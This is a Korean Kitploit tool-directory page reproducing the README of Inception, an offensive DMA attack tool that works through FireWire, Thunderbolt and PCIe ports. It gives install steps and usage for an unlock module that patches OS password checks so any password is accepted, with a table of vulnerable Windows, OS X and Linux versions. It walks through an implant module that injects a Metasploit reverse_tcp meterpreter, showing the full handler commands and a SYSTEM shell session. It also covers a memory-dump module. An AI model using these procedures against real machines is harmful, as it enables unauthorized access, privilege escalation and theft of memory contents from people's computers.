Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
inception — Inception은 PCI 기반 DMA를 악용하는 물리적 메모리 조작 및 해킹 도구입니다. 이 도구는 FireWire, Thunderbolt, ExpressCard, PC Card 및 기타 모든 PCI/PCIe 인터페이스를 통해 공격할 수 있습니다. | Kitploit
도구/GitHubGitHub/carmaa/inception
Privilege EscalationMemory ForensicsExploitationPost-ExploitationDigital ForensicsPenetration TestingHardware SecurityRed TeamingPayload Development
GitHubcarmaa/inception

inception

Inception은 PCI 기반 DMA를 악용하는 물리적 메모리 조작 및 해킹 도구입니다. 이 도구는 FireWire, Thunderbolt, ExpressCard, PC Card 및 기타 모든 PCI/PCIe 인터페이스를 통해 공격할 수 있습니다.

1.6k19851년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

참고: 이 도구는 더 이상 활발하게 개발되지 않습니다. 대신 PCILeech를 참조하세요.

INCEPTION

Inception은 PCI 기반 DMA를 악용하는 물리 메모리 조작 및 해킹 도구입니다. 이 도구는 FireWire, Thunderbolt, ExpressCard, PC Card 및 기타 모든 PCI/PCIe 하드웨어 인터페이스를 통해 공격할 수 있습니다.

Inception은 DMA를 사용하여 실행 중인 컴퓨터에 대해 침습적 및 비침습적 메모리 해킹을 수행할 수 있는 비교적 빠르고 안정적이며 쉽고 확장 가능한 방법을 제공하는 것을 목표로 합니다.

작동 방식

Inception의 모듈은 다음과 같이 작동합니다. IEEE1394 FireWire 인터페이스를 통해 피해자 머신에 SBP-2(Serial Bus Protocol 2) 유닛 디렉터리를 제시하면, 피해자 운영체제는 SBP-2 장치가 FireWire 포트에 연결되었다고 생각합니다. SBP-2 장치는 빠르고 대용량의 벌크 데이터 전송(예: FireWire 하드 드라이브, 디지털 캠코더)을 위해 DMA(직접 메모리 액세스)를 사용하므로, 피해자는 방어를 낮추고 해당 장치에 DMA를 활성화합니다. 이제 도구는 피해자의 RAM 하위 4GB에 대한 전체 읽기/쓰기 액세스 권한을 갖습니다.

DMA가 허용되면 도구는 사용 가능한 메모리 페이지에서 운영체제 코드의 특정 오프셋에 있는 시그니처를 검색합니다. 찾으면 도구는 이 코드를 조작합니다. 예를 들어 unlock 모듈에서는 잘못된 암호가 입력될 때 트리거되는 운영체제의 암호 인증 모듈을 우회합니다.

해당 모듈을 실행한 후에는 어떤 암호로든 피해자 머신에 로그인할 수 있어야 합니다.

이 작업에 대한 비유는 기계의 메모리에 아이디어, 즉 모든 암호가 올바르다는 아이디어를 심는 것입니다. 다시 말해 [메모리 인셉션] 1과 같습니다.

Inception은 무료(무상) 소프트웨어이며 제 사이드 프로젝트입니다.

멋지네요! 그런데 왜?

전 세계의 포렌식 전문가, 정부, 그리고 세 글자 약어 기관은 이미 [유사한 도구] 2를 사용하고 있습니다. 따라서 당신이 반체제 인사이거나 억압적인 정권에 맞서고 있다면, 이 도구는 OPSEC이 왜 중요한지 보여줍니다. 노트북을 절대 시야에서 떼지 마세요.

주의사항

[OS X > 10.7.2] 6 및 [Windows > 8.1] 7은 사용자가 OS를 잠그면 FireWire DMA를 비활성화하여 인셉션을 차단합니다. 사용자가 로그인되어 있는 동안에는 도구가 여전히 작동합니다. 그러나 실제 상황(IRL)에서는 덜 가능성 있는 공격 시나리오입니다.

또한 [Ivy Bridge(2012년 이후 Mac)의 OS X Mavericks > 10.8.2] 8은 VT-D를 활성화하여 사용자가 로그인한 상태에서도 DMA 요청을 효과적으로 차단하고 모든 인셉션 모듈을 무력화합니다. 로그/콘솔에서 vtd[0] fault 항목을 찾아보세요.

이 두 가지 주의사항으로 인해 이 도구가 유용한 시나리오의 수가 점차 줄어들겠지만, 2015년 3월 기준으로 [전 세계 머신의 70%는 여전히 취약합니다] 9.

주요 정보

  • 버전: 0.4.2
  • 라이선스: GPL
  • 저자: Carsten Maartmann-Moe ([email protected])
  • 트위터: @MaartmannMoe
  • 소스: https://github.com/carmaa/inception

이 도구는 Freddie Witherden이 제공하는 libforensic1394 라이브러리를 LGPL 라이선스로 사용합니다.

요구 사항

Inception에는 다음이 필요합니다:

  • 하드웨어:
    • 공격자 머신: FireWire 인터페이스를 갖춘 Linux 또는 Mac OS X(호스트/공격자 머신). 네이티브 FireWire 포트, ExpressCard/PCMCIA 확장 포트 또는 Thunderbolt-FireWire 어댑터를 통해 연결합니다.
    • 피해자 머신: FireWire 또는 Thunderbolt 인터페이스, 또는 ExpressCard/PCMCIA 확장 포트

현재 OS X의 버그가 많은 FireWire 인터페이스 때문에 공격자 측에서는 Linux를 권장합니다. Thunderbolt-to-Thunderbolt 직접 연결은 작동하지 않으며 FireWire 어댑터가 필요합니다. Linux에서 Thunderbolt를 사용하려고 할 때 결과는 다를 수 있습니다.

  • 소프트웨어:
    • Python 3
    • git
    • gcc (incl. g++)
    • cmake
    • pip (for automatic resolution of dependencies)
    • [libforensic1394] 3
    • msgpack

설치

Debian 계열 배포판에서는 설치 명령을 다음과 같이 요약할 수 있습니다(루트가 아닌 경우 필요에 따라 sudo를 사용하세요):

root@kitploit:~
apt-get install git cmake g++ python3 python3-pip

OS X에서는 [homebrew] 4로 도구 요구 사항을 설치할 수 있습니다:

root@kitploit:~
brew install git cmake python3

요구 사항을 설치한 후 libforensic1394를 다운로드하여 설치하세요:

root@kitploit:~
wget https://freddie.witherden.org/tools/libforensic1394/releases/libforensic1394-0.2.tar.gz -O - | tar xz
cd libforensic1394-0.2
cmake CMakeLists.txt
make install
cd python
python3 setup.py install

Inception 다운로드 및 설치

root@kitploit:~
git clone git://github.com/carmaa/inception.git
cd inception
./setup.py install

pip이 설치되어 있으면 설정 스크립트가 종속성을 설치할 수 있습니다.

일반 사용법

  1. 공격자 머신(호스트)과 피해자(대상)를 FireWire 케이블로 연결합니다.
  2. Inception을 실행합니다.

다음과 같이 입력하세요:

root@kitploit:~
incept [module name]

더 완전하고 최신의 설명은 다음을 실행하세요:

root@kitploit:~
incept -h

또는 [도구 홈페이지] 5를 참조하세요.

모듈

버전 0.4.0부터 Inception은 모듈화되었습니다. 현재 모듈과 그 기능은 아래에 설명되어 있습니다.

사용에 대한 자세한 옵션은 다음을 실행하세요:

root@kitploit:~
incept [module name] -h

Unlock

unlock 모듈은 물리적으로 접근할 수 있는 거의* 모든 전원이 켜진 머신에서 잠금을 해제(모든 암호 허용)하고 Administrator/root로 권한을 상승시킬 수 있습니다. 이 모듈은 주로 BitLocker, FileVault, TrueCrypt 또는 Pointsec과 같은 전체 디스크 암호화를 사용하는 컴퓨터를 대상으로 마법을 부리도록 설계되었습니다. 암호화를 사용하지 않는 머신을 해킹하는 다른(그리고 더 나은) 방법은 많이 있습니다.

unlock 모듈은 주 메모리가 4GiB 이하인 머신에서 안정적입니다. 대상이 그보다 더 많은 메모리를 가지고 있다면, 도구가 도달할 수 있는 물리 메모리 페이지 프레임에 매핑된 시그니처를 찾으려면 운이 필요합니다.

이 버전 기준으로 다음 x86 및 x64 운영체제의 잠금을 해제할 수 있습니다:

(1): 위의 주의사항을 참조하세요.

PAM 기반 인증을 사용하는 다른 Linux 배포판도 Ubuntu 시그니처를 사용하여 작동할 수 있습니다.

이 모듈은 또한 예를 들어 각각 runas 또는 sudo -s 명령을 통한 권한 상승을 효과적으로 가능하게 합니다.

실행

잠금 해제하려면 다음을 입력하세요:

root@kitploit:~
incept unlock

 _|  _|      _|    _|_|_|  _|_|_|_|  _|_|_|    _|_|_|  _|    _|_|    _|      _|
 _|  _|_|    _|  _|        _|        _|    _|    _|    _|  _|    _|  _|_|    _|
 _|  _|  _|  _|  _|        _|_|_|    _|_|_|      _|    _|  _|    _|  _|  _|  _|
 _|  _|    _|_|  _|        _|        _|          _|    _|  _|    _|  _|    _|_|
 _|  _|      _|    _|_|_|  _|_|_|_|  _|          _|    _|    _|_|    _|      _|

v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe

[?] Will potentially write to file. OK? [y/N] y
[*] Available targets (known signatures):

[1] Windows 8 MsvpPasswordValidate unlock/privilege escalation
[2] Windows 7 MsvpPasswordValidate unlock/privilege escalation
[3] Windows Vista MsvpPasswordValidate unlock/privilege escalation
[4] Windows XP MsvpPasswordValidate unlock/privilege escalation
[5] Mac OS X DirectoryService/OpenDirectory unlock/privilege escalation
[6] Ubuntu libpam unlock/privilege escalation
[7] Linux Mint libpam unlock/privilege escalation

[?] Please select target (or enter 'q' to quit): 2
[*] Selected target: Windows 7 MsvpPasswordValidate unlock/privilege escalation
[=============>                                                ]  227 MiB ( 22%)
[*] Signature found at 0xe373312 in page no. 58227
[*] Patch verified; successful
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!

Implant

implant 모듈은 (메모리 전용) Metasploit 페이로드를 대상 머신의 휘발성 메모리에 직접 이식합니다. Metasploit의 모든 버전에 포함된 msfrpcd 데몬을 통해 MSF와 통합됩니다.

현재 버전은 Windows 7 SP1 x86에 대한 개념 증명으로만 작동합니다. 다른 OS, 버전 또는 아키텍처는 지원되지 않으며, 향후 지원될 것이라는 보장도 없습니다.

실행

사용하려면 msfrpcd를 시작하세요:

root@kitploit:~
msfrpcd -P [password]

그런 다음 다른 터미널에서 inception을 실행하세요:

root@kitploit:~
incept implant --msfpw [password] --msfopts [options]

예를 들어 대상 머신에서 공격 호스트로의 리버스 TCP meterpreter 셸을 만들려면 먼저 msfrpcd 데몬을 시작한 다음 콜백을 수신하는 콘솔을 실행하세요.

root@kitploit:~
msfrpcd -P password
msfconsole

콘솔에서 페이로드의 수신 측을 구성합니다. 문제가 발생해도 대상 프로세스가 계속 실행되도록 EXITFUNC 옵션을 thread로 설정합니다:

root@kitploit:~
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.1.1
set EXITFUNC thread
set ExitOnSession false
exploit -j

그런 다음 다른 터미널에서 Inception을 실행합니다:

root@kitploit:~
incept implant --msfpw password --msfopts LHOST=172.16.1.1

 _|  _|      _|    _|_|_|  _|_|_|_|  _|_|_|    _|_|_|  _|    _|_|    _|      _|
 _|  _|_|    _|  _|        _|        _|    _|    _|    _|  _|    _|  _|_|    _|
 _|  _|  _|  _|  _|        _|_|_|    _|_|_|      _|    _|  _|    _|  _|  _|  _|
 _|  _|    _|_|  _|        _|        _|          _|    _|  _|    _|  _|    _|_|
 _|  _|      _|    _|_|_|  _|_|_|_|  _|          _|    _|    _|_|    _|      _|

v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe

[?] Will potentially write to file. OK? [y/N] y
[!] This module currently only work as a proof-of-concept against Windows 7 SP1
    x86. No other OSes, versions or architectures are supported, nor is there
    any guarantee that they will be supported in the future.
[?] What MSF payload do you want to use? windows/meterpreter/reverse_tcp
[*] Selected options:
[*] LPORT: 4444
[*] LHOST: 172.16.1.1
[*] EXITFUNC: thread
[*] Stage 1: Searcing for injection point
[================================>                             ]  537 MiB ( 53%)
[*] Signature found at 0x219d118c in page no. 137681
[*] Patching at 0x219d118c
[\] Waiting to ensure stage 1 execution
[*] Restoring memory at initial injection point
[*] Stage 2: Searching for page allocated in stage 1
[=========================>                                    ]  434 MiB ( 42%)
[*] Signature found at 0x1b2d9000 in page no. 111321
[*] Patching at 0x1b2d9000
[*] Patch verified; successful
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!

MSF 콘솔에서 다음과 유사한 출력이 표시되어야 합니다:

root@kitploit:~
msf exploit(handler) > [*] Sending stage (769536 bytes) to 172.16.78.200
[*] Meterpreter session 1 opened (172.16.1.1:4444 -> 172.16.78.200:49178) at 2014-08-30 16:23:31 +0200

msf exploit(handler) > sessions

Active sessions
===============

  Id  Type                   Information                            Connection
  --  ----                   -----------                            ----------
  1   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ WIN-11FMQRBAMJ6  172.16.1.1:4444 -> 172.16.78.200:49178 (172.16.78.200)

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Dump

dump 모듈은 대상에서 공격 호스트로 메모리를 덤프하는 기능을 제공합니다.

실행

root@kitploit:~
incept dump

 _|  _|      _|    _|_|_|  _|_|_|_|  _|_|_|    _|_|_|  _|    _|_|    _|      _|
 _|  _|_|    _|  _|        _|        _|    _|    _|    _|  _|    _|  _|_|    _|
 _|  _|  _|  _|  _|        _|_|_|    _|_|_|      _|    _|  _|    _|  _|  _|  _|
 _|  _|    _|_|  _|        _|        _|          _|    _|  _|    _|  _|    _|_|
 _|  _|      _|    _|_|_|  _|_|_|_|  _|          _|    _|    _|_|    _|      _|

v.0.4.0 (C) Carsten Maartmann-Moe 2014
Download: https://github.com/carmaa/inception | Twitter: @MaartmannMoe

[*] Dumping from 0x0 to 0x40000000, a total of 1 GiB:
[==============================================================] 1024 MiB (100%)
[*] Dumped memory to file memdump_0x0-0x40000000_20140830-174305.bin
[*] BRRRRRRRAAAAAWWWWRWRRRMRMRMMRMRMMMMM!!!

알려진 버그 / 주의사항

상단의 주석과 [도구 홈페이지] 5를 참조하세요.

문제 해결

[도구 홈페이지] 5를 참조하세요.

계획된 기능

  • x64에서 안정적인 임플란트
  • VT-D 우회
  • 커널(링 0) 임플란트
  • 더 많은 시그니처

개발 이력

  • 0.0.1 - 첫 버전, 기본적인 Windows XP SP3, Vista 및 7, Mac OS X 및 Ubuntu Gnome 잠금 해제 지원
  • 0.0.2 - 초기 XP SP3 및 Windows 7 x86/x64 SP1용 시그니처 추가
  • 0.0.3 - 일부 시그니처(Tekkenhead에게 감사) 및 오류 처리 추가
  • 0.0.4 - 연결된 FireWire 장치를 표시하는 businfo 및 메모리 덤프 기능 추가
  • 0.0.5 - 메모리 덤프 기능 향상 및 샘플 카탈로그 추가
  • 0.0.6 - 유닛 테스트 추가
  • 0.0.7 - Ubuntu 시그니처 및 권한 상승 업데이트 - 알제리의 Adel Khaldi에게 감사
  • 0.0.8 - Ubuntu 잠금 해제 및 권한 상승 패치 수정 - 하나의 패치로 두 가지 효과
  • 0.1.0 - 첫 마이너 버전! OS X 및 Vista용 시그니처 추가, 상당한 버그 수정
  • 0.1.1 - Ubuntu 12.04 LTS용 시그니처 추가
  • 0.1.2 - 여러 버그 패치
  • 0.1.3 - OS X 10.6.8 x64 시그니처 버그 패치
  • 0.1.4 - 새 시그니처 테스트를 용이하게 하는 수동 모드 추가
  • 0.2.0 - OS X Mountain Lion(10.8) 및 Windows 8용 시그니처 추가
  • 0.2.1 - Ubuntu 12.10용 시그니처 추가
  • 0.2.2 - Linux Mint용 시그니처 추가
  • 0.2.3 - 전반적인 코드 정리 및 더 나은 일관된 출력
  • 0.2.4 - 진행률 표시줄 추가
  • 0.2.5 - 도구 실행에 더 이상 루트 권한 불필요
  • 0.2.6 - 버그 수정
  • 0.3.0 - Ubuntu 13.04 대상 지원 추가
  • 0.3.1 - OS X Mavericks 및 Windows 8.1 지원 추가
  • 0.3.2 - 버그 수정 및 Ubuntu 13.10 지원
  • 0.3.3 - 출력 및 오류 처리 관련 버그 수정
  • 0.3.4 - Maestro!
  • 0.3.5 - Ubuntu 10.10 및 10.04 x86 시그니처 추가
  • 0.4.0 - 완전한 재구성 및 재작성. implant 모듈 추가
  • 0.4.1 - SLOTSCREAMER 인터페이스 지원 병합
  • 0.4.2 - 새 시그니처

면책 조항

이 도구로 악한 일을 하지 마세요. 또한 저는 개발자가 아니라 침투 테스터입니다. 따라서 파이썬스러운 순수함 감각을 자극하는 이상한 코드를 발견하면 개선 방법을 알려주세요. 더 나은 방법으로는 제 코드를 포크하여 수정하고 풀 리퀘스트를 보내주세요.

도구 다운로드
운영체제버전잠금 화면 잠금 해제권한 상승
Windows 88.1예 (1)예 (1)
Windows 88.0예예
Windows 7SP1예예
Windows 7SP0예예
Windows VistaSP2예예
Windows VistaSP1예예
Windows VistaSP0예예
Windows XPSP3예예
Windows XPSP2예예
Windows XPSP1
Windows XPSP0
Mac OS XMavericks예 (1)예 (1)
Mac OS XMountain Lion예 (1)예 (1)
Mac OS XLion예 (1)예 (1)
Mac OS XSnow Leopard예예
Mac OS XLeopard
UbuntuSaucy예예
UbuntuRaring예예
UbuntuQuantal예예
UbuntuPrecise예예
UbuntuOneiric예예
UbuntuNatty예예
Linux Mint13예예
Linux Mint12예예
Linux Mint12예예